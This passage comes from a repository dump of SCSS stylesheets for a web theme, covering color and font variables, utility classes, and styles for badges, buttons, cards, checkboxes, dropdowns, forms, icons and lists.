font-size: 1.875rem; 75 | @media (max-width: 991px) { 76 | font-size: 1.5rem; 77 | } 78 | } 79 | .display-5 { 80 | font-size: 1.25rem; 81 | @media (max-width: 991px) { 82 | font-size: 1rem; 83 | } 84 | } 85 | .blockquote { 86 | padding: 1.25rem; 87 | border: 1px solid $border-color; 88 | } 89 | 90 | address { 91 | p { 92 | margin-bottom: 0; 93 | } 94 | } 95 | 96 | //blockqoute color variations 97 | @each $color, $value in $theme-colors { 98 | .blockquote-#{$color} { 99 | @include blockquote($value); 100 | } 101 | } 102 | .error-page { 103 | h1 { 104 | font-size: 12rem; 105 | @media (max-width: 991px) { 106 | font-size: 8rem; 107 | } 108 | } 109 | } 110 | .icon-lg { 111 | font-size: 3.438rem; 112 | } 113 | .icon-md { 114 | font-size: 1.875rem; 115 | } 116 | .icon-sm { 117 | font-size: 1rem; 118 | } 119 | -------------------------------------------------------------------------------- /static/user/scss/_utilities.scss: -------------------------------------------------------------------------------- 1 | /* Utilities */ 2 | 3 | .grid-margin { 4 | margin-bottom: $card-spacing-y; 5 | } 6 | .grid-margin-sm-0 { 7 | @media (min-width: 576px) { 8 | margin-bottom: 0; 9 | } 10 | } 11 | .grid-margin-md-0 { 12 | @media (min-width: 768px) { 13 | margin-bottom: 0; 14 | } 15 | } 16 | .grid-margin-lg-0 { 17 | @media (min-width: 992px) { 18 | margin-bottom: 0; 19 | } 20 | } 21 | .grid-margin-xl-0 { 22 | @media (min-width: 1200px) { 23 | margin-bottom: 0; 24 | } 25 | } 26 | .img-lg { 27 | width: 92px; 28 | height: 92px; 29 | } 30 | .img-sm { 31 | width: 43px; 32 | height: 43px; 33 | } 34 | .img-xs { 35 | width: 37px; 36 | height: 37px; 37 | } 38 | .img-ss { 39 | width: 26px; 40 | height: 26px; 41 | } 42 | .stretch-card { 43 | @include display-flex; 44 | @include align-items(stretch); 45 | @include justify-content(stretch); 46 | >.card{ 47 | width: 100%; 48 | min-width: 100%; 49 | } 50 | } 51 | 52 | .border-right-sm { 53 | @media (min-width: 576px) { 54 | border-right: $border-width solid $border-color; 55 | } 56 | } 57 | .border-right-md { 58 | @media (min-width: 768px) { 59 | border-right: $border-width solid $border-color; 60 | } 61 | } 62 | .border-right-lg { 63 | @media (min-width: 992px) { 64 | border-right: $border-width solid $border-color; 65 | } 66 | } 67 | 68 | .border-left-sm { 69 | @media (min-width: 576px) { 70 | border-left: $border-width solid $border-color; 71 | } 72 | } 73 | .border-left-md { 74 | @media (min-width: 768px) { 75 | border-left: $border-width solid $border-color; 76 | } 77 | } 78 | .border-left-lg { 79 | @media (min-width: 992px) { 80 | border-left: $border-width solid $border-color; 81 | } 82 | } 83 | 84 | .text-gray { 85 | color: #8c8c8c; 86 | } 87 | 88 | .text-black { 89 | color: $black; 90 | } 91 | 92 | .text-small { 93 | font-size: 12px; 94 | } 95 | 96 | .flex-grow { 97 | flex-grow: 1; 98 | } 99 | 100 | .font-weight-light { 101 | font-family: $type1-light; 102 | } 103 | 104 | .font-weight-bold { 105 | font-family: $type1-bold; 106 | } 107 | 108 | .font-weight-normal { 109 | font-family: $type1-regular; 110 | } 111 | -------------------------------------------------------------------------------- /static/user/scss/_variables.scss: -------------------------------------------------------------------------------- 1 | 2 | ////////// COLOR SYSTEM ////////// 3 | 4 | $blue: #5E50F9; 5 | $indigo: #6610f2; 6 | $purple: #6a008a; 7 | $pink: #E91E63; 8 | $red: #f96868; 9 | $orange: #f2a654; 10 | $yellow: #f6e84e; 11 | $green: #46c35f; 12 | $teal: #58d8a3; 13 | $cyan: #57c7d4; 14 | $black: #000; 15 | $white: #ffffff; 16 | $white-smoke: #f2f7f8; 17 | $violet: #41478a; 18 | $darkslategray : #2e383e; 19 | $dodger-blue : #3498db; 20 | 21 | 22 | $colors: ( 23 | blue: $blue, 24 | indigo: $indigo, 25 | purple: $purple, 26 | pink: $pink, 27 | red: $red, 28 | orange: $orange, 29 | yellow: $yellow, 30 | green: $green, 31 | teal: $teal, 32 | cyan: $cyan, 33 | white: $white, 34 | gray: #434a54, 35 | gray-light: #aab2bd, 36 | gray-lighter: #e8eff4, 37 | gray-lightest: #e6e9ed, 38 | gray-dark: #0f1531, 39 | black: #000000 40 | ); 41 | 42 | 43 | $theme-colors: ( 44 | primary: #b66dff, 45 | secondary: #d8d8d8, 46 | success: #1bcfb4, 47 | info: #198ae3, 48 | warning: #fed713, 49 | danger: #fe7c96, 50 | light: #f8f9fa, 51 | dark: #3e4b5b 52 | ); 53 | 54 | $theme-gradient-colors: ( 55 | primary: linear-gradient(to right, #da8cff, #9a55ff), 56 | secondary: linear-gradient(to right, #e7ebf0, #868e96), 57 | success: linear-gradient(to right, #84d9d2, #07cdae), 58 | info: linear-gradient(to right, #90caf9, #047edf 99%), 59 | warning: linear-gradient(to right, #f6e384, #ffd500), 60 | danger: linear-gradient(to right, #ffbf96, #fe7096), 61 | light: linear-gradient(to bottom, #f4f4f4, #e4e4e9), 62 | dark: linear-gradient(89deg, #5e7188, #3e4b5b) 63 | ); 64 | 65 | 66 | ////////// COLOR SYSTEM ////////// 67 | 68 | ////////// COLOR VARIABLES ////////// 69 | $content-bg: #f2edf3; 70 | $footer-bg: $content-bg; 71 | $footer-color: color(dark); 72 | $border-color: #ebedf2; 73 | 74 | ////////// COLOR VARIABLES ////////// 75 | 76 | 77 | 78 | ////////// SOCIAL COLORS ////////// 79 | 80 | $social-colors: ( 81 | twitter: #2caae1, 82 | facebook: #3b579d, 83 | google: #dc4a38, 84 | linkedin: #0177b5, 85 | pinterest: #cc2127, 86 | youtube: #e52d27, 87 | github: #333333, 88 | behance: #1769ff, 89 | dribbble: #ea4c89, 90 | reddit: #ff4500 91 | ); 92 | 93 | ////////// SOCIAL COLORS ////////// 94 | 95 | ////////// FONTS// 96 | 97 | $type1-light: 'ubuntu-light', sans-serif; 98 | $type1-regular: 'ubuntu-regular', sans-serif; 99 | $type1-medium: 'ubuntu-medium', sans-serif; 100 | $type1-bold: 'ubuntu-bold', sans-serif; 101 | 102 | $default-font-size: .875rem; // 14px as base font size 103 | 104 | $text-muted: #9c9fa6; 105 | $body-color: #343a40; 106 | 107 | ////////// FONT VARIABLES ////////// 108 | 109 | ////////// SIDEBAR //////// 110 | $sidebar-width-lg: 260px; 111 | $sidebar-width-mini: 185px; 112 | $sidebar-width-icon: 70px; 113 | 114 | $sidebar-light-bg: $white; 115 | $sidebar-light-menu-color: #3e4b5b; 116 | $sidebar-light-submenu-color: #888; 117 | $sidebar-light-menu-active-bg: $white; 118 | $sidebar-light-menu-active-color: theme-color(primary); 119 | $sidebar-light-menu-hover-bg: darken($sidebar-light-bg, 1%); 120 | $sidebar-light-menu-hover-color: darken($sidebar-light-menu-color, 10%); 121 | $sidebar-light-submenu-hover-color: darken($sidebar-light-submenu-color, 20%); 122 | $sidebar-light-menu-icon-color: #bba8bff5; 123 | $sidebar-light-menu-arrow-color: #9e9da0; 124 | $sidebar-light-menu-border-color: #f2edf3; 125 | 126 | $sidebar-dark-bg: #18151e; 127 | $sidebar-dark-menu-color: $white; 128 | $sidebar-dark-menu-active-bg: #282037; 129 | $sidebar-dark-menu-active-color: color(white); 130 | $sidebar-dark-menu-hover-bg: #282037; 131 | $sidebar-dark-menu-hover-color: color(white); 132 | $sidebar-dark-submenu-color: $sidebar-dark-menu-color; 133 | $sidebar-dark-submenu-hover-bg: initial; 134 | $sidebar-dark-submenu-hover-color: #ffffff; 135 | 136 | $sidebar-menu-font-size: $default-font-size; 137 | $sidebar-menu-padding-y: 1.125rem; 138 | $sidebar-menu-padding-x: 2.25rem; 139 | 140 | $sidebar-submenu-font-size: .8125rem; 141 | $sidebar-submenu-item-padding: .75rem 2rem .75rem 2rem; 142 | 143 | $sidebar-icon-font-size: 1.125rem; 144 | $sidebar-arrow-font-size: .625rem; 145 | 146 | $sidebar-profile-bg: transparent; 147 | $sidebar-profile-padding: .75rem 1.625rem .75rem 1.188rem; 148 | 149 | $sidebar-mini-menu-padding: .8125rem 1rem .8125rem 1rem; 150 | 151 | $sidebar-icon-only-menu-padding: .5rem 1.625rem .5rem 1.188rem; 152 | $sidebar-icon-only-submenu-padding: 0 0 0 1.5rem; 153 | 154 | $rtl-sidebar-submenu-padding: 0 1.5rem 0 0; 155 | 156 | $icon-only-collapse-width: 190px; 157 | $icon-only-menu-bg-light: $sidebar-light-menu-hover-bg; 158 | $icon-only-menu-bg-dark: $sidebar-dark-menu-hover-bg; 159 | 160 | ///////// SIDEBAR //////// 161 | 162 | ///////// SETTINGS PANEL //////// 163 | 164 | $settings-panel-width: 300px; 165 | 166 | ///////// HORIZONTAL MENU ///////// 167 | $horizontal-menu-bg : #f6f8fa; 168 | $horizontal-menu-height : 4rem; 169 | $horizontal-menu-padding: 0 1rem; 170 | $horizontal-menu-item-color: #202339; 171 | $horizontal-menu-submenu-color: $horizontal-menu-item-color; 172 | $horizontal-menu-font-size: .875rem; 173 | $horizontal-menu-item-padding: .75rem 0; 174 | $horizontal-menu-icon-font-size: .9375rem; 175 | $horizontal-menu-submenu-item-padding: .85rem 0; 176 | 177 | $horizontal-boxed-menu-color: #9c9fa6; 178 | 179 | $horizontal-full-width-menu-color: #9c9fa6; 180 | ///////// HORIZONTAL MENU ///////// 181 | 182 | ///////// NAVBAR //////// 183 | 184 | $navbar-height: 70px; 185 | $navbar-menu-color: #9c9fa6; 186 | $navbar-font-size: .875rem; 187 | $navbar-icon-font-size: 1.25rem; 188 | 189 | ///////// NAVBAR //////// 190 | 191 | 192 | 193 | ///////// BUTTONS //////// 194 | 195 | $button-fixed-width: 150px; 196 | $btn-padding-y: .875rem; 197 | $btn-padding-x: 2.5rem; 198 | $btn-line-height: 1; 199 | 200 | $btn-padding-y-xs: .5rem; 201 | $btn-padding-x-xs: .75rem; 202 | 203 | $btn-padding-y-sm: .50rem; 204 | $btn-padding-x-sm: .81rem; 205 | 206 | $btn-padding-y-lg: 1rem; 207 | $btn-padding-x-lg: 3rem; 208 | 209 | $btn-font-size: .875rem; 210 | $btn-font-size-xs: .625rem; 211 | $btn-font-size-sm: .875rem; 212 | $btn-font-size-lg: .875rem; 213 | 214 | $btn-border-radius: .1875rem; 215 | $btn-border-radius-xs: .1875rem; 216 | $btn-border-radius-sm: .1875rem; 217 | $btn-border-radius-lg: .1875rem; 218 | 219 | ///////// BUTTONS //////// 220 | 221 | 222 | 223 | ////////// TOOLTIP VARIABLES ////////// 224 | 225 | //default styles 226 | $tooltip-font-size: .75rem; 227 | $tooltip-padding-y: .4rem; 228 | $tooltip-padding-x: .75rem; 229 | $tooltip-border-radius: .375rem; 230 | 231 | ////////// TOOLTIP VARIABLES ////////// 232 | 233 | 234 | 235 | ///////// FORMS ///////// 236 | 237 | $input-bg: color(white); 238 | $input-border-radius: 2px; 239 | $input-placeholder-color: #c9c8c8; 240 | $input-font-size: .8125rem; 241 | 242 | $input-padding-y: .875rem; 243 | $input-padding-x: 1.375rem; 244 | $input-line-height: 1; 245 | 246 | $input-padding-y-xs: .5rem; 247 | $input-padding-x-xs: .75rem; 248 | 249 | $input-padding-y-sm: .50rem; 250 | $input-padding-x-sm: .81rem; 251 | 252 | $input-padding-y-lg: .94rem; 253 | $input-padding-x-lg: 1.94rem; 254 | 255 | ///////// FORMS ///////// 256 | 257 | //////// DROPDOWNS /////// 258 | 259 | $dropdown-border-color: $border-color; 260 | $dropdown-divider-bg: $border-color; 261 | $dropdown-link-color: $body-color; 262 | $dropdown-header-color: $body-color; 263 | //////// DROPDOWNS /////// 264 | 265 | //////// TABLES //////// 266 | 267 | $table-accent-bg: $content-bg; 268 | $table-hover-bg: $content-bg; 269 | $table-cell-padding: .9375rem; 270 | $table-border-color: $border-color; 271 | 272 | $table-inverse-bg: #2a2b32; 273 | $table-inverse-color: color(white); 274 | 275 | //////// TABLES //////// 276 | 277 | 278 | 279 | ////////// MEASUREMENT AND PROPERTY VARIABLES ////////// 280 | 281 | $boxed-container-width: 1200px; 282 | $border-property: 1px solid $border-color; 283 | $card-spacing-y: 2.5rem; 284 | $card-padding-y: 2.5rem; 285 | $card-padding-x: 2.5rem; 286 | $card-border-radius: .3125rem; 287 | $card-description-color: #76838f; 288 | $grid-gutter-width: 40px; 289 | $action-transition-duration: 0.25s; 290 | $action-transition-timing-function: ease; 291 | ////////// OTHER VARIABLES ////////// 292 | 293 | 294 | 295 | ////////// BREAD CRUMBS VARIABLES ////////// 296 | 297 | // default styles 298 | $breadcrumb-padding-y: 0.56rem; 299 | $breadcrumb-padding-x: 1.13rem; 300 | $breadcrumb-item-padding: .5rem; 301 | $breadcrumb-margin-bottom: 1rem; 302 | $breadcrumb-font-size: $default-font-size; 303 | $breadcrumb-bg: transparent; 304 | $breadcrumb-border-color: $border-color; 305 | $breadcrumb-divider-color: $gray-600; 306 | $breadcrumb-active-color: $gray-700; 307 | $breadcrumb-divider: "/"; 308 | 309 | // custom styles 310 | $breadcrumb-custom-padding-y: 0; 311 | $breadcrumb-custom-padding-x: 0; 312 | $breadcrumb-custom-item-padding-y: 0.56rem; 313 | $breadcrumb-custom-item-padding-x: 10px; 314 | $breadcrumb-custom-item-color: $black; 315 | $breadcrumb-item-bg: #dbe3e6; 316 | 317 | ////////// BREAD CRUMBS VARIABLES ////////// 318 | 319 | 320 | 321 | ////////// MODALS VARIABLES ////////// 322 | 323 | $modal-inner-padding: 15px; 324 | $modal-dialog-margin: 10px; 325 | $modal-dialog-margin-y-sm-up: 30px; 326 | $modal-title-line-height: $line-height-base; 327 | $modal-content-bg: $content-bg; 328 | $modal-content-box-shadow-xs: 0 3px 9px rgba($black,.5); 329 | $modal-content-box-shadow-sm-up: 0 5px 15px rgba($black,.5); 330 | 331 | $modal-backdrop-bg: $black; 332 | $modal-backdrop-opacity: .5; 333 | 334 | $modal-header-border-color: $border-color; 335 | $modal-content-border-color: $border-color; 336 | $modal-footer-border-color: $border-color; 337 | 338 | $modal-header-border-width: $border-width; 339 | $modal-content-border-width: $border-width; 340 | $modal-footer-border-width: $border-width; 341 | 342 | $modal-header-padding-x: 26px; 343 | $modal-header-padding-y: 25px; 344 | 345 | $modal-body-padding-x: 26px; 346 | $modal-body-padding-y: 35px; 347 | 348 | $modal-footer-padding-x: 31px; 349 | $modal-footer-padding-y: 15px; 350 | 351 | $modal-lg: 90%; 352 | $modal-md: 500px; 353 | $modal-sm: 300px; 354 | $modal-transition: transform .4s ease; 355 | 356 | ////////// MODALS VARIABLES ////////// 357 | 358 | ///////// TABS VARIABLES ////////// 359 | $nav-tabs-border-color: #ebedf2; 360 | $nav-tabs-link-bg: #f6f8fa; 361 | $nav-tabs-link-color: #000000; 362 | $nav-tabs-link-hover-border-color: $nav-tabs-border-color $nav-tabs-border-color $nav-tabs-border-color; 363 | $nav-tabs-link-active-color: $body-color; 364 | $nav-tabs-link-active-bg: $white; 365 | $nav-tabs-link-active-border-color: $nav-tabs-border-color $nav-tabs-border-color $nav-tabs-link-active-bg; 366 | $nav-pills-custom-bg: #fcfcfd; 367 | //////// TABS VARIABLES ///////// 368 | 369 | //////// CALENDAR ////////////// 370 | $fullcalendar-color: #a8b2b9; 371 | //////// CALENDAR ////////////// -------------------------------------------------------------------------------- /static/user/scss/components/_badges.scss: -------------------------------------------------------------------------------- 1 | /* Badges */ 2 | 3 | .badge { 4 | border-radius: .125rem; 5 | font-size: 11px; 6 | font-weight: initial; 7 | line-height: 1; 8 | padding: .375rem .5625rem; 9 | font-family: $type1-medium; 10 | &.badge-pill { 11 | border-radius: 10rem; 12 | } 13 | } 14 | 15 | 16 | /*Badge variations*/ 17 | @each $color, $value in $theme-colors { 18 | .badge-#{$color} { 19 | @include badge-variations($value); 20 | } 21 | } 22 | 23 | /*Badge gradient variations*/ 24 | @each $color, $value in $theme-gradient-colors { 25 | .badge-gradient-#{$color} { 26 | @include badge-gradient-variations($value); 27 | } 28 | } 29 | 30 | /*Badge outlined variations*/ 31 | @each $color, $value in $theme-colors { 32 | .badge-outline-#{$color} { 33 | @include badge-outline-variations($value); 34 | } 35 | } -------------------------------------------------------------------------------- /static/user/scss/components/_bootstrap-progress.scss: -------------------------------------------------------------------------------- 1 | /* Bootstrap Progress */ 2 | 3 | .progress { 4 | @include border-radius(3px); 5 | height: 8px; 6 | .progress-bar { 7 | @include border-radius(3px); 8 | } 9 | 10 | &.progress-sm{ 11 | height: 0.375rem; 12 | } 13 | &.progress-md { 14 | height: 8px; 15 | } 16 | &.progress-lg { 17 | height: 15px; 18 | } 19 | &.progress-xl { 20 | height: 18px; 21 | } 22 | } -------------------------------------------------------------------------------- /static/user/scss/components/_buttons.scss: -------------------------------------------------------------------------------- 1 | /* Buttons */ 2 | 3 | .btn { 4 | font-size: $btn-font-size; 5 | line-height: 1; 6 | font-family: $type1-bold; 7 | i { 8 | font-size: 1rem; 9 | } 10 | &.btn-rounded { 11 | @include border-radius(50px); 12 | } 13 | &.btn-fw { 14 | min-width: $button-fixed-width; 15 | } 16 | &.btn-sm { 17 | font-size: $btn-font-size-sm; 18 | } 19 | &.btn-lg { 20 | font-size: $btn-font-size-lg; 21 | } 22 | &.btn-xs { 23 | padding: $btn-padding-y-xs $btn-padding-x-xs; 24 | font-size: $btn-font-size-xs; 25 | } 26 | /* Buttons with only icons */ 27 | &.btn-icon { 28 | width: 42px; 29 | height: 42px; 30 | padding: 0; 31 | } 32 | /* Buttons with icon and text */ 33 | &.btn-icon-text { 34 | .btn-icon-prepend { 35 | margin-right: .5rem; 36 | } 37 | .btn-icon-append { 38 | margin-left: .5rem; 39 | } 40 | } 41 | &.btn-social-icon { 42 | width: 50px; 43 | height: 50px; 44 | padding: 0; 45 | } 46 | } 47 | 48 | .btn-group { 49 | .btn { 50 | + .btn { 51 | border-left: 0; 52 | } 53 | } 54 | } 55 | 56 | .btn-toolbar { 57 | .btn-group { 58 | +.btn-group { 59 | @extend .ml-2; 60 | } 61 | } 62 | } 63 | /*social buttons*/ 64 | @each $color, $value in $social-colors { 65 | .btn-#{$color} { 66 | @include social-button(social-color($color)); 67 | } 68 | .btn-outline-#{$color} { 69 | @include social-outline-button(social-color($color)); 70 | } 71 | } 72 | /* inverse buttons */ 73 | @each $color, $value in $theme-colors { 74 | .btn-inverse-#{$color} { 75 | @include button-inverse-variant($value); 76 | } 77 | .btn-#{$color}:not(.btn-light) { 78 | color: $white; 79 | &:hover, 80 | &:focus, 81 | &:active { 82 | color: $white; 83 | } 84 | &:focus, 85 | &:active { 86 | background: $value; 87 | border-color: $value; 88 | } 89 | } 90 | .btn-outline-#{$color} { 91 | &:hover, 92 | &:focus, 93 | &:active { 94 | background: theme-gradient-color($color); 95 | color: $white; 96 | } 97 | } 98 | } 99 | /* gradient buttons */ 100 | @each $color, $value in $theme-gradient-colors { 101 | .btn-gradient-#{$color} { 102 | @include button-gradient-variant($value); 103 | } 104 | } -------------------------------------------------------------------------------- /static/user/scss/components/_cards.scss: -------------------------------------------------------------------------------- 1 | /* Cards */ 2 | 3 | .card { 4 | border: 0; 5 | .card-body { 6 | padding: $card-padding-y $card-padding-x; 7 | + .card-body { 8 | padding-top: 1rem; 9 | } 10 | } 11 | .card-title { 12 | color: $black; 13 | margin-bottom: .75rem; 14 | text-transform: capitalize; 15 | font-family: $type1-medium; 16 | font-size: 1.125rem; 17 | } 18 | .card-subtitle { 19 | @extend .text-gray; 20 | font-family: $type1-regular; 21 | margin-top: 0.625rem; 22 | margin-bottom: 0.625rem; 23 | 24 | } 25 | .card-description { 26 | margin-bottom: 1.5rem; 27 | font-family: $type1-regular; 28 | color: $card-description-color; 29 | } 30 | &.card-outline-success { 31 | border: 1px solid theme-color("success"); 32 | } 33 | &.card-outline-primary { 34 | border: 1px solid theme-color("primary"); 35 | } 36 | &.card-outline-warning { 37 | border: 1px solid theme-color("warning"); 38 | } 39 | &.card-outline-danger { 40 | border: 1px solid theme-color("danger"); 41 | } 42 | &.card-rounded { 43 | @include border-radius(5px); 44 | } 45 | 46 | &.card-faded { 47 | background: #b5b0b2; 48 | border-color: #b5b0b2; 49 | } 50 | &.card-circle-progress { 51 | color: $white; 52 | text-align: center; 53 | } 54 | &.card-img-holder { 55 | position: relative; 56 | .card-img-absolute { 57 | position: absolute; 58 | top:0; 59 | right: 0; 60 | height: 100%; 61 | } 62 | } 63 | } 64 | 65 | @each $color, $value in $theme-colors { 66 | .card-inverse-#{$color} { 67 | @include card-inverse-variant(rgba(theme-color($color), .2), theme-color-level($color, 1), theme-color-level($color, 3)); 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /static/user/scss/components/_checkbox-radio.scss: -------------------------------------------------------------------------------- 1 | /* Checkboxes and Radios */ 2 | 3 | .form-check { 4 | position: relative; 5 | display: block; 6 | margin-top: 15px; 7 | margin-bottom: 10px; 8 | padding-left: 0; 9 | 10 | .form-check-label { 11 | display: block; 12 | margin-left: 1.75rem; 13 | font-size: $default-font-size; 14 | line-height: 1.5; 15 | .rtl & { 16 | margin-left: 0; 17 | margin-right: 1.75rem; 18 | } 19 | 20 | input { 21 | position: absolute; 22 | top: 0; 23 | left: 0; 24 | .rtl & { 25 | left: auto; 26 | right: 0; 27 | } 28 | margin-left: 0; 29 | margin-top: 0; 30 | z-index: 1; 31 | cursor: pointer; 32 | opacity: 0; 33 | filter: alpha(opacity=0); 34 | } 35 | input[type="checkbox"] { 36 | + .input-helper { 37 | &:before, 38 | &:after { 39 | position: absolute; 40 | top: 0; 41 | left: 0; 42 | .rtl & { 43 | left: auto; 44 | right: 0; 45 | } 46 | } 47 | &:before { 48 | content: ""; 49 | width: 18px; 50 | height: 18px; 51 | border-radius: 2px; 52 | border: solid theme-color(primary); 53 | border-width: 2px; 54 | @include transition(all); 55 | transition-duration: 0s; 56 | -webkit-transition-duration: 250ms; 57 | transition-duration: 250ms; 58 | } 59 | 60 | &:after { 61 | @include transition(all); 62 | transition-duration: 0s; 63 | -webkit-transition-duration: 250ms; 64 | transition-duration: 250ms; 65 | font-family: Material Design Icons; 66 | opacity: 0; 67 | filter: alpha(opacity=0); 68 | -webkit-transform: scale(0); 69 | -ms-transform: scale(0); 70 | -o-transform: scale(0); 71 | transform: scale(0); 72 | content: '\F12C'; 73 | font-size: .9375rem; 74 | font-weight: bold; 75 | color: $white; 76 | } 77 | } 78 | &:checked { 79 | +.input-helper { 80 | &:before { 81 | background: theme-gradient-color(primary); 82 | border-width: 0; 83 | } 84 | &:after { 85 | width: 18px; 86 | opacity: 1; 87 | line-height: 18px; 88 | filter: alpha(opacity=100); 89 | -webkit-transform: scale(1); 90 | -ms-transform: scale(1); 91 | -o-transform: scale(1); 92 | transform: scale(1); 93 | } 94 | } 95 | } 96 | 97 | &:disabled { 98 | + .input-helper { 99 | &:before { 100 | border-color: $border-color; 101 | } 102 | } 103 | 104 | &:checked { 105 | + .input-helper { 106 | &:after { 107 | background: $border-color; 108 | color: $white; 109 | } 110 | } 111 | } 112 | } 113 | } 114 | input[type="radio"] { 115 | +.input-helper { 116 | &:before { 117 | position: absolute; 118 | content: ""; 119 | top: 0; 120 | left: 0; 121 | .rtl & { 122 | left: auto; 123 | right: 0; 124 | } 125 | border: solid theme-color(primary); 126 | border-width: 2px; 127 | width: 20px; 128 | height: 20px; 129 | border-radius: 50%; 130 | @include transition(all); 131 | transition-duration: 0s; 132 | -webkit-transition-duration: 250ms; 133 | transition-duration: 250ms; 134 | } 135 | 136 | &:after { 137 | content: ""; 138 | width: 8px; 139 | height: 8px; 140 | background: $white; 141 | border-radius: 50%; 142 | top: 6px; 143 | left: 6px; 144 | .rtl & { 145 | left: auto; 146 | right: 6px; 147 | } 148 | -webkit-transition: all; 149 | -o-transition: all; 150 | transition: all; 151 | transition-duration: 0s; 152 | -webkit-transition-duration: 250ms; 153 | transition-duration: 250ms; 154 | opacity: 0; 155 | filter: alpha(opacity=0); 156 | -webkit-transform: scale(0); 157 | -ms-transform: scale(0); 158 | -o-transform: scale(0); 159 | transform: scale(0); 160 | position: absolute; 161 | } 162 | } 163 | 164 | &:checked { 165 | +.input-helper { 166 | &:before { 167 | background: theme-gradient-color(primary); 168 | border-width: 0; 169 | } 170 | 171 | &:after { 172 | opacity: 1; 173 | line-height: 1.5; 174 | filter: alpha(opacity=100); 175 | -webkit-transform: scale(1); 176 | -ms-transform: scale(1); 177 | -o-transform: scale(1); 178 | transform: scale(1); 179 | } 180 | } 181 | } 182 | 183 | &:disabled { 184 | + .input-helper { 185 | &:before { 186 | border-color: $border-color; 187 | } 188 | } 189 | 190 | &:checked { 191 | + .input-helper { 192 | &:before { 193 | background: $border-color; 194 | } 195 | 196 | &:after { 197 | background: $white; 198 | } 199 | } 200 | } 201 | } 202 | } 203 | } 204 | } 205 | 206 | @each $color, $value in $theme-gradient-colors { 207 | .form-check-#{$color} { 208 | &.form-check { 209 | label { 210 | input[type="checkbox"], 211 | input[type="radio"] { 212 | +.input-helper { 213 | &:before { 214 | border-color: theme-color($color); 215 | } 216 | } 217 | &:checked { 218 | +.input-helper { 219 | &:before { 220 | background: $value; 221 | } 222 | } 223 | } 224 | } 225 | } 226 | } 227 | } 228 | } 229 | 230 | @media (min-width: 576px) { 231 | .form-inline .form-check { 232 | 233 | } 234 | } -------------------------------------------------------------------------------- /static/user/scss/components/_dropdown.scss: -------------------------------------------------------------------------------- 1 | /* Dropdowns */ 2 | 3 | .dropdown { 4 | .dropdown-toggle { 5 | &:after { 6 | border-top: 0; 7 | border-right: 0; 8 | border-left: 0; 9 | border-bottom: 0; 10 | font: normal normal normal 24px/1 "Material Design Icons"; 11 | content: "\f140"; 12 | width: auto; 13 | height: auto; 14 | vertical-align: baseline; 15 | font-size: .75rem; 16 | } 17 | } 18 | .dropdown-menu { 19 | margin-top: .75rem; 20 | font-size: $default-font-size; 21 | box-shadow: 0px 1px 15px 1px rgba(230, 234, 236, 0.35); 22 | .dropdown-item { 23 | font-size: 1rem; 24 | padding: .25rem 1.5rem; 25 | &:active { 26 | background: initial; 27 | } 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /static/user/scss/components/_forms.scss: -------------------------------------------------------------------------------- 1 | /* Forms */ 2 | 3 | .form-group { 4 | margin-bottom: 1.5rem; 5 | } 6 | .input-group-append, 7 | .input-group-prepend { 8 | color: $input-placeholder-color; 9 | width: auto; 10 | border: none; 11 | 12 | .input-group-text { 13 | border-color: $border-color; 14 | padding: $input-padding-y .75rem; 15 | color: $input-placeholder-color; 16 | } 17 | } 18 | .form-control { 19 | border: 1px solid $border-color; 20 | font-family: $type1-regular; 21 | font-size: $input-font-size; 22 | } 23 | 24 | select { 25 | &.form-control { 26 | padding: .4375rem .75rem; 27 | border: 0; 28 | outline: 1px solid $border-color; 29 | color: $input-placeholder-color; 30 | &:focus { 31 | outline: 1px solid $border-color; 32 | } 33 | @each $color, $value in $theme-colors { 34 | &.border-#{$color} { 35 | outline: 1px solid $value; 36 | &:focus { 37 | outline: 1px solid $value; 38 | } 39 | } 40 | } 41 | } 42 | } 43 | .form-group { 44 | label { 45 | font-size: $default-font-size; 46 | line-height: 1; 47 | vertical-align: top; 48 | margin-bottom: .5rem; 49 | } 50 | &.has-danger { 51 | .form-control { 52 | border-color: theme-color(danger); 53 | } 54 | } 55 | .file-upload-default { 56 | visibility: hidden; 57 | position: absolute; 58 | } 59 | .file-upload-info { 60 | background: transparent; 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /static/user/scss/components/_icons.scss: -------------------------------------------------------------------------------- 1 | /* Icons */ 2 | 3 | .icons-list { 4 | border-left: 1px solid $border-color; 5 | border-top: 1px solid $border-color; 6 | margin-left: 0; 7 | margin-right: 0; 8 | >div { 9 | background: $white; 10 | border-bottom: 1px solid $border-color; 11 | border-right: 1px solid $border-color; 12 | @include display-flex; 13 | @include align-items(center); 14 | padding:15px 15px; 15 | font-family: $type1-regular; 16 | font-size: $default-font-size; 17 | 18 | i { 19 | display: inline-block; 20 | font-size: 20px; 21 | width: 40px; 22 | text-align: left; 23 | color: theme-color(primary); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /static/user/scss/components/_lists.scss: -------------------------------------------------------------------------------- 1 | /* Lists */ 2 | 3 | ul, 4 | ol, 5 | dl { 6 | padding-left: 1rem; 7 | font-size: $default-font-size; 8 | li { 9 | line-height: 1.8; 10 | } 11 | } 12 | 13 | .list-ticked, 14 | .list-arrow, 15 | .list-star { 16 | list-style: none; 17 | padding: 0; 18 | li { 19 | padding-left: 1.5rem; 20 | &:before { 21 | font-family: "Material Design Icons"; 22 | margin-left: -1.5rem; 23 | width: 1.5rem; 24 | margin-right: .5rem; 25 | } 26 | } 27 | } 28 | 29 | .list-ticked { 30 | li { 31 | &:before { 32 | content: '\F12D'; 33 | color: theme-color(danger); 34 | } 35 | } 36 | } 37 | 38 | .list-arrow { 39 | li { 40 | &:before { 41 | content: '\F142'; 42 | color: theme-color(success); 43 | } 44 | } 45 | } 46 | 47 | .list-star { 48 | li { 49 | &:before { 50 | content: '\F4CE'; 51 | color: theme-color(warning); 52 | } 53 | } 54 | } 55 | 56 | .gradient-bullet-list { 57 | padding-left: 0; 58 | .rtl & { 59 | padding-right: 0; 60 | } 61 | li { 62 | position: relative; 63 | list-style-type: none; 64 | padding-left: 25px; 65 | line-height: 1; 66 | padding-bottom: 25px; 67 | &:before, 68 | &:after { 69 | content:""; 70 | position: absolute; 71 | } 72 | &:before { 73 | top: 0; 74 | left: 0; 75 | width: 15px; 76 | height: 15px; 77 | border-radius: 100%; 78 | } 79 | &:after { 80 | width: 11px; 81 | height: 11px; 82 | top: 2px; 83 | left: 2px; 84 | background: $white; 85 | border-radius: 100%; 86 | } 87 | &:nth-child(1) { 88 | &:before { 89 | background: theme-gradient-color(danger); 90 | } 91 | } 92 | 